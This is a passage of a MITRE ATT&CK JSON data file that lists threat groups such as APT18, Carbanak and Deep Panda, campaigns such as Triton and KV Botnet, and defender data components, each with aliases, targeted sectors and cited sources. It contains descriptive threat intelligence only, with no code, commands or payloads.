2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-22T20:26:23.226Z","name":"C0011","description":"[C0011](https://attack.mitre.org/campaigns/C0011) was a suspected cyber espionage campaign conducted by [Transparent Tribe](https://attack.mitre.org/groups/G0134) that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from [Transparent Tribe](https://attack.mitre.org/groups/G0134)'s historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022) ","aliases":["C0011"],"first_seen":"2021-12-01T06:00:00.000Z","last_seen":"2022-07-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","x_mitre_last_seen_citation":"(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","created":"2022-09-22T17:12:02.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0011","external_id":"C0011"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-04-11T03:03:44.056Z","name":"APT18","description":"[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)","aliases":["APT18","TG-0416","Dynamite Panda","Threat Group-0416"],"x_mitre_deprecated":false,"x_mitre_version":"2.2","type":"intrusion-set","id":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","created":"2017-05-31T21:31:57.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0026","external_id":"G0026"},{"source_name":"Threat Group-0416","description":"(Citation: ThreatStream Evasion Analysis)"},{"source_name":"APT18","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"TG-0416","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"Dynamite Panda","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"Dell Lateral Movement","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"},{"source_name":"Anomali Evasive Maneuvers July 2015","description":"Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.","url":"https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"},{"source_name":"ThreatStream Evasion Analysis","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Carbanak","Anunak"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","type":"intrusion-set","created":"2017-05-31T21:31:49.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0008","external_id":"G0008"},{"source_name":"Carbanak","description":"(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)"},{"source_name":"Anunak","description":"(Citation: Fox-It Anunak Feb 2015)"},{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"Europol Cobalt Mar 2018","description":"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.","url":"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"},{"source_name":"Secureworks GOLD NIAGARA Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/gold-niagara","description":"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021."},{"source_name":"Secureworks GOLD KINGSWOOD Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain","description":"Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021."},{"source_name":"Fox-It Anunak Feb 2015","description":"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.","url":"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"}],"modified":"2021-10-18T21:02:30.899Z","name":"Carbanak","description":"[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Snapshot Creation","description":"Initial construction of a new snapshot (ex: AWS create-snapshot)","x_mitre_data_source_ref":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Process Metadata","description":"Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T21:33:28.444Z","name":"Orangeworm","description":"[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018) Reverse engineering of [Kwampirs](https://attack.mitre.org/software/S0236), directly associated with [Orangeworm](https://attack.mitre.org/groups/G0071) activity, indicates significant functional and development overlaps with [Shamoon](https://attack.mitre.org/software/S0140).(Citation: Cylera Kwampirs 2022)","aliases":["Orangeworm"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre"],"type":"intrusion-set","id":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0071","external_id":"G0071"},{"source_name":"Orangeworm","description":"(Citation: Symantec Orangeworm April 2018)"},{"source_name":"Cylera Kwampirs 2022","description":"Pablo Rincón Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.","url":"https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"},{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Service Modification","description":"Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)","x_mitre_data_source_ref":"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T16:17:07.038Z","name":"Triton Safety Instrumented System Attack","description":"[Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030) was a campaign employed by [TEMP.Veles](https://attack.mitre.org/groups/G0088) which leveraged the [Triton](https://attack.mitre.org/software/S1009) malware framework against a petrochemical organization.(Citation: Triton-EENews-2017) The malware and techniques used within this campaign targeted specific Triconex [Safety Controller](https://attack.mitre.org/assets/A0010)s within the environment.(Citation: FireEye TRITON 2018) The incident was eventually discovered due to a safety trip that occurred as a result of an issue in the malware.(Citation: FireEye TRITON 2017)\n","aliases":["Triton Safety Instrumented System Attack"],"first_seen":"2017-06-01T04:00:00.000Z","last_seen":"2017-08-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Triton-EENews-2017)","x_mitre_last_seen_citation":"(Citation: Triton-EENews-2017)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","created":"2024-03-25T17:47:37.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0030","external_id":"C0030"},{"source_name":"Triton-EENews-2017","description":"Blake Sobczak. (2019, March 7). The inside story of the world’s most dangerous malware. Retrieved March 25, 2024.","url":"https://www.eenews.net/articles/the-inside-story-of-the-worlds-most-dangerous-malware/"},{"source_name":"FireEye TRITON 2017","description":"Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"},{"source_name":"FireEye TRITON 2018","description":"Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["ics-attack","enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"User Account Deletion","description":"Removal of an account (ex: Windows EID 4726 or /var/log access/authentication logs)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Deep Panda","Shell Crew","WebMasters","KungFu Kittens","PinkPanther","Black Vine"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Andrew Smith, @jakx_"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","created":"2017-05-31T21:31:49.412Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"G0009","url":"https://attack.mitre.org/groups/G0009"},{"source_name":"Deep Panda","description":"(Citation: Alperovitch 2014)"},{"source_name":"Shell Crew","description":"(Citation: RSA Shell Crew)"},{"source_name":"WebMasters","description":"(Citation: RSA Shell Crew)"},{"source_name":"KungFu Kittens","description":"(Citation: RSA Shell Crew)"},{"source_name":"PinkPanther","description":"(Citation: RSA Shell Crew)"},{"source_name":"Black Vine","description":"(Citation: Symantec Black Vine)"},{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."},{"source_name":"Symantec Black Vine","url":"https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."},{"source_name":"RSA Shell Crew","url":"https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf","description":"RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016."},{"source_name":"ICIT China's Espionage Jul 2016","url":"https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/","description":"Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China’s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018."},{"source_name":"ThreatConnect Anthem","url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)","modified":"2022-07-20T20:10:29.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Deep Panda","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-03T10:11:13.072Z","name":"KV Botnet Activity","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) consisted of exploitation of primarily “end-of-life” small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) was used by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster.(Citation: Lumen KVBotnet 2023) This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.(Citation: DOJ KVBotnet 2024)","aliases":["KV Botnet Activity"],"first_seen":"2022-10-01T04:00:00.000Z","last_seen":"2024-01-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Lumen KVBotnet 2023)","x_mitre_last_seen_citation":"(Citation: DOJ KVBotnet 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","created":"2024-06-10T18:57:09.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0035","external_id":"C0035"},{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"},{"source_name":"DOJ KVBotnet 2024","description":"US Department of Justice. (2024, January 31). U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure. Retrieved June 10, 2024.","url":"https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"aliases":["APT-C-36","Blind Eagle"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jose Luis Sánchez Martinez"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","type":"intrusion-set","created":"2020-05-05T18:53:08.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0099","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0099"},{"source_name":"Blind Eagle","description":"(Citation: QiAnXin APT-C-36 Feb2019)"},{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2021-05-26T20:17:53.085Z","name":"APT-C-36","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["The White Company"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","type":"intrusion-set","created":"2019-05-02T00:08:18.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0089","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0089"},{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2020-03-30T19:24:52.290Z","name":"The White Company","description":"[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Poseidon Group"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","type":"intrusion-set","created":"2017-05-31T21:32:04.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0033","external_id":"G0033"},{"source_name":"Poseidon Group","description":"(Citation: Kaspersky Poseidon Group)"},{"url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","source_name":"Kaspersky Poseidon Group"}],"modified":"2020-03-18T20:25:54.945Z","name":"Poseidon Group","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T04:49:29.731Z","name":"LazyScripter","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)","aliases":["LazyScripter"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"type":"intrusion-set","id":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","created":"2021-11-24T19:26:27.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0140","external_id":"G0140"},{"source_name":"LazyScripter","description":"(Citation: MalwareBytes LazyScripter Feb 2021)"},{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Drive Creation","description":"Initial construction of a drive letter or mount point to a data storage device","x_mitre_data_source_ref":"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Object Creation","description":"Initial construction of a new active directory object (ex: Windows EID 5137)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Passive DNS","description":"Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)","x_mitre_data_source_ref":"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gallmaker"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","type":"intrusion-set","created":"2019-01-30T14:26:42.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0084","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0084"},{"source_name":"Gallmaker","description":"(Citation: Symantec Gallmaker Oct 2018)"},{"source_name":"Symantec Gallmaker Oct 2018","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018."}],"modified":"2020-03-30T19:04:47.798Z","name":"Gallmaker","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Kernel Module Load","description":"An object file that contains code to extend the running kernel of an OS, typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls","x_mitre_data_source_ref":"x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-26T14:34:08.342Z","name":"MoustachedBouncer","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.(Citation: MoustachedBouncer ESET August 